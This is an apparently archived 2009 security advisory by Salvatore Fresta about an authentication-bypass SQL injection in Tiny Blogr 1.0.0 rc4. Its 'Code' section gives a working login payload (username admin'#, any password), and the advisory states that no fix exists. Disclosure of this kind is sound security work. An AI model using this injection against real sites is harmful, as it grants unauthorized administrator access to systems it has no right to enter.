Tiny Blogr 1.0.0 rc4 (Auth Bypass) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Tiny Blogr 1.0.0 rc4 (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-04-17
# Author : Salvatore Fresta
# Previous Title : eLitius 1.0 Arbitrary Database Backup Exploit
# Next Title : Invision Power Board 3.0.0b5 Active XSS & Path Disclosure Vulns

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Tiny Blogr
[+] Version: 1.0.0 rc4
[+] Website: http://tinyblogr.sourceforge.net

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 17 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: class.eport.php

This bug allows a guest to bypass the authentication
system.


*************************************************

[+] Code


- [A] Authenticaion Bypass

Username: admin'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

# www.Syue.com [2009-04-17]